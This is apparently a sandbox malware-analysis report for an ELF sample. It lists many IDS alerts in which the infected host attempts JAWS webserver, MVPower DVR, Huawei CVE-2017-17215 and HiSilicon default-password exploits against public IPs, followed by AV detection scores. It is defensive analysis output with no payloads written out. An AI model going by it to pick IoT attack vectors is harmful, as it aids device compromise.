Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 20.91.181.127

Timestamp:	03/13/24-09:36:49.268725
SID:	2030092
Source Port:	54294
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.224.15.81

Timestamp:	03/13/24-09:36:31.480456
SID:	2829579
Source Port:	34084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 118.89.68.235

Timestamp:	03/13/24-09:35:37.994549
SID:	2030092
Source Port:	35074
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 184.31.179.53

Timestamp:	03/13/24-09:36:37.624726
SID:	2025883
Source Port:	60292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 91.232.74.20

Timestamp:	03/13/24-09:35:27.902260
SID:	2030092
Source Port:	60164
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 35.170.175.108

Timestamp:	03/13/24-09:36:21.077908
SID:	2030092
Source Port:	54430
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 35.180.109.177

Timestamp:	03/13/24-09:36:41.395910
SID:	2030092
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.81.143

Timestamp:	03/13/24-09:36:34.122265
SID:	2835222
Source Port:	43066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 51.20.1.154

Timestamp:	03/13/24-09:36:55.223714
SID:	2025883
Source Port:	38752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.43.197.49

Timestamp:	03/13/24-09:35:41.027358
SID:	2025883
Source Port:	47972
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 54.146.18.202

Timestamp:	03/13/24-09:36:13.976308
SID:	2025883
Source Port:	36156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 191.61.154.23

Timestamp:	03/13/24-09:36:23.899173
SID:	2030092
Source Port:	56578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.245.130.228

Timestamp:	03/13/24-09:36:42.248125
SID:	2025883
Source Port:	47744
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 90.244.188.177

Timestamp:	03/13/24-09:36:12.608472
SID:	2030092
Source Port:	50760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 159.69.95.59

Timestamp:	03/13/24-09:36:45.951308
SID:	2030092
Source Port:	60874
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 163.28.224.199

Timestamp:	03/13/24-09:36:16.217602
SID:	2030092
Source Port:	48168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 43.227.22.178

Timestamp:	03/13/24-09:36:07.397010
SID:	2030092
Source Port:	46934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 154.197.69.111

Timestamp:	03/13/24-09:36:13.531005
SID:	2025883
Source Port:	51798
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 203.143.87.170

Timestamp:	03/13/24-09:35:53.629751
SID:	2025883
Source Port:	37400
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 149.29.118.217

Timestamp:	03/13/24-09:36:45.913467
SID:	2030092
Source Port:	35726
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.49.241.18

Timestamp:	03/13/24-09:35:38.204713
SID:	2025883
Source Port:	38872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 64.23.172.171

Timestamp:	03/13/24-09:35:35.768854
SID:	2030092
Source Port:	45900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 91.246.63.209

Timestamp:	03/13/24-09:35:00.424539
SID:	2025883
Source Port:	45018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 72.46.57.34

Timestamp:	03/13/24-09:35:50.893830
SID:	2030092
Source Port:	42956
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 69.192.211.5

Timestamp:	03/13/24-09:35:42.017125
SID:	2030092
Source Port:	43992
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 172.241.215.166

Timestamp:	03/13/24-09:36:14.134989
SID:	2030092
Source Port:	53564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.197.183.33

Timestamp:	03/13/24-09:36:21.409875
SID:	2030092
Source Port:	48502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.75.211.230

Timestamp:	03/13/24-09:35:32.762667
SID:	2030092
Source Port:	36628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 184.27.159.88

Timestamp:	03/13/24-09:36:02.433760
SID:	2025883
Source Port:	60738
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 108.59.3.120

Timestamp:	03/13/24-09:35:33.034416
SID:	2030092
Source Port:	49220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.208.231.3

Timestamp:	03/13/24-09:35:32.978251
SID:	2025883
Source Port:	51604
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 164.92.198.46

Timestamp:	03/13/24-09:35:38.349172
SID:	2030092
Source Port:	34576
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 121.152.67.252

Timestamp:	03/13/24-09:36:48.530022
SID:	2025883
Source Port:	47130
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 124.223.47.85

Timestamp:	03/13/24-09:35:51.547302
SID:	2025883
Source Port:	47608
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 18.161.198.98

Timestamp:	03/13/24-09:35:32.585392
SID:	2025883
Source Port:	45526
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 13.211.32.130

Timestamp:	03/13/24-09:35:38.576096
SID:	2030092
Source Port:	49368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 167.71.224.247

Timestamp:	03/13/24-09:36:06.808683
SID:	2030092
Source Port:	54248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 45.197.50.182

Timestamp:	03/13/24-09:36:07.355481
SID:	2030092
Source Port:	41448
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 193.49.48.200

Timestamp:	03/13/24-09:35:49.172475
SID:	2025883
Source Port:	51318
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 35.186.249.253

Timestamp:	03/13/24-09:36:41.364188
SID:	2025883
Source Port:	33740
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 83.99.176.150

Timestamp:	03/13/24-09:35:30.059951
SID:	2025883
Source Port:	33632
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 52.36.184.249

Timestamp:	03/13/24-09:35:48.896568
SID:	2030092
Source Port:	51968
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.21.58.203

Timestamp:	03/13/24-09:36:38.177510
SID:	2025883
Source Port:	55624
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 213.136.17.217

Timestamp:	03/13/24-09:36:38.266539
SID:	2025883
Source Port:	47544
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.102.34.241

Timestamp:	03/13/24-09:35:58.383630
SID:	2030092
Source Port:	59478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.41.180.70

Timestamp:	03/13/24-09:36:37.612328
SID:	2025883
Source Port:	35718
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 213.155.66.36

Timestamp:	03/13/24-09:35:56.378672
SID:	2030092
Source Port:	48442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 123.60.161.245

Timestamp:	03/13/24-09:36:26.817197
SID:	2025883
Source Port:	59760
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 140.227.85.230

Timestamp:	03/13/24-09:36:32.297705
SID:	2025883
Source Port:	36478
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 184.85.70.23

Timestamp:	03/13/24-09:36:45.747708
SID:	2030092
Source Port:	50122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 118.89.68.235

Timestamp:	03/13/24-09:35:33.109491
SID:	2025883
Source Port:	35040
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.233.37.223

Timestamp:	03/13/24-09:35:33.034381
SID:	2025883
Source Port:	40392
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 43.227.22.178

Timestamp:	03/13/24-09:36:07.397010
SID:	2025883
Source Port:	46934
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 5.79.67.86

Timestamp:	03/13/24-09:36:38.252910
SID:	2025883
Source Port:	45822
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 35.178.88.90

Timestamp:	03/13/24-09:36:45.747775
SID:	2030092
Source Port:	41518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 64.227.105.141

Timestamp:	03/13/24-09:36:16.224290
SID:	2025883
Source Port:	60018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 93.119.0.28

Timestamp:	03/13/24-09:36:31.419803
SID:	2030092
Source Port:	38114
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 13.126.159.214

Timestamp:	03/13/24-09:35:28.367724
SID:	2030092
Source Port:	56584
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.245.130.228

Timestamp:	03/13/24-09:36:42.248125
SID:	2030092
Source Port:	47744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 64.23.172.171

Timestamp:	03/13/24-09:35:35.768854
SID:	2025883
Source Port:	45900
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.203.113.78

Timestamp:	03/13/24-09:36:35.190209
SID:	2025883
Source Port:	36578
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 23.42.119.230

Timestamp:	03/13/24-09:35:38.219568
SID:	2025883
Source Port:	33100
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 203.143.87.170

Timestamp:	03/13/24-09:35:53.629751
SID:	2030092
Source Port:	37400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 72.44.39.162

Timestamp:	03/13/24-09:36:26.080905
SID:	2030092
Source Port:	38312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 212.14.142.99

Timestamp:	03/13/24-09:36:35.453052
SID:	2030092
Source Port:	33346
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 35.180.109.177

Timestamp:	03/13/24-09:36:41.395910
SID:	2025883
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 108.59.3.120

Timestamp:	03/13/24-09:35:33.034416
SID:	2025883
Source Port:	49220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HiSilicon DVR - Default Telnet Root Password Inbound - Source IP: 192.168.2.15 - Destination IP: 85.87.113.10

Timestamp:	03/13/24-09:35:48.868680
SID:	2027973
Source Port:	39662
Destination Port:	23
Protocol:	TCP
Classtype:	Attempt to login by a default username and password

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 196.51.148.245

Timestamp:	03/13/24-09:36:16.070399
SID:	2025883
Source Port:	60776
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 61.160.202.82

Timestamp:	03/13/24-09:36:31.643256
SID:	2030092
Source Port:	41788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 34.242.169.70

Timestamp:	03/13/24-09:35:48.888429
SID:	2025883
Source Port:	43640
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 72.46.57.34

Timestamp:	03/13/24-09:35:50.893830
SID:	2025883
Source Port:	42956
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 69.192.211.5

Timestamp:	03/13/24-09:35:42.017125
SID:	2025883
Source Port:	43992
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.43.197.49

Timestamp:	03/13/24-09:35:41.027358
SID:	2030092
Source Port:	47972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 45.197.50.182

Timestamp:	03/13/24-09:36:07.355481
SID:	2025883
Source Port:	41448
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.74.45

Timestamp:	03/13/24-09:36:49.509395
SID:	2829579
Source Port:	51518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 149.29.118.217

Timestamp:	03/13/24-09:36:45.913467
SID:	2025883
Source Port:	35726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 108.167.161.104

Timestamp:	03/13/24-09:36:49.083612
SID:	2025883
Source Port:	60616
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 74.121.217.94

Timestamp:	03/13/24-09:36:45.716918
SID:	2025883
Source Port:	35858
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 196.51.148.245

Timestamp:	03/13/24-09:36:16.070399
SID:	2030092
Source Port:	60776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 18.161.198.98

Timestamp:	03/13/24-09:35:32.585392
SID:	2030092
Source Port:	45526
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 13.39.26.165

Timestamp:	03/13/24-09:35:53.313146
SID:	2025883
Source Port:	57906
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 54.146.18.202

Timestamp:	03/13/24-09:36:13.976308
SID:	2030092
Source Port:	36156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.80.32.93

Timestamp:	03/13/24-09:35:29.011253
SID:	2835222
Source Port:	40390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 213.155.66.36

Timestamp:	03/13/24-09:35:56.378672
SID:	2025883
Source Port:	48442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 172.241.215.166

Timestamp:	03/13/24-09:36:14.134989
SID:	2025883
Source Port:	53564
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.8.50

Timestamp:	03/13/24-09:36:23.180263
SID:	2835222
Source Port:	53386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 34.233.37.223

Timestamp:	03/13/24-09:35:33.034381
SID:	2030092
Source Port:	40392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 4.157.16.63

Timestamp:	03/13/24-09:36:11.809353
SID:	2030092
Source Port:	52882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 20.85.137.33

Timestamp:	03/13/24-09:37:02.359551
SID:	2030092
Source Port:	39140
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 23.208.231.3

Timestamp:	03/13/24-09:35:32.978251
SID:	2030092
Source Port:	51604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 72.44.39.162

Timestamp:	03/13/24-09:36:26.080905
SID:	2025883
Source Port:	38312
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 194.195.127.71

Timestamp:	03/13/24-09:36:11.709846
SID:	2025883
Source Port:	46954
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 168.168.6.30

Timestamp:	03/13/24-09:35:04.067293
SID:	2030092
Source Port:	33840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.15 - Destination IP: 104.16.13.138

Timestamp:	03/13/24-09:35:48.996592
SID:	2030092
Source Port:	41254
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 198.251.113.173

Timestamp:	03/13/24-09:36:55.012342
SID:	2025883
Source Port:	33842
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.15 - Destination IP: 104.102.34.241

Timestamp:	03/13/24-09:35:58.383630
SID:	2025883
Source Port:	59478
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 5m6jbTvemR.elf	ReversingLabs: Detection: 57%
Source: 5m6jbTvemR.elf	Virustotal: Detection: 40%			Perma Link

Machine Learning detection for sample

Source: 5m6jbTvemR.elf

Joe Sandbox ML: detected

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45018 -> 91.246.63.209:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45018 -> 91.246.63.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:50854 -> 116.162.161.24:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:52734 -> 184.85.86.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34984 -> 23.58.104.81:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:52734 -> 184.85.86.34:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34984 -> 23.58.104.81:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45886 -> 104.105.93.19:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49944 -> 107.190.228.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45886 -> 104.105.93.19:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60192 -> 92.117.151.104:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46008 -> 182.23.79.157:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60192 -> 92.117.151.104:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49944 -> 107.190.228.44:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46008 -> 182.23.79.157:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:58432 -> 37.16.12.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34890 -> 34.143.46.47:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33840 -> 168.168.6.30:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:58432 -> 37.16.12.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34890 -> 34.143.46.47:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:51002 -> 23.206.48.35:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:54828 -> 35.73.74.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45094 -> 78.186.205.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:51002 -> 23.206.48.35:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:54828 -> 35.73.74.28:80
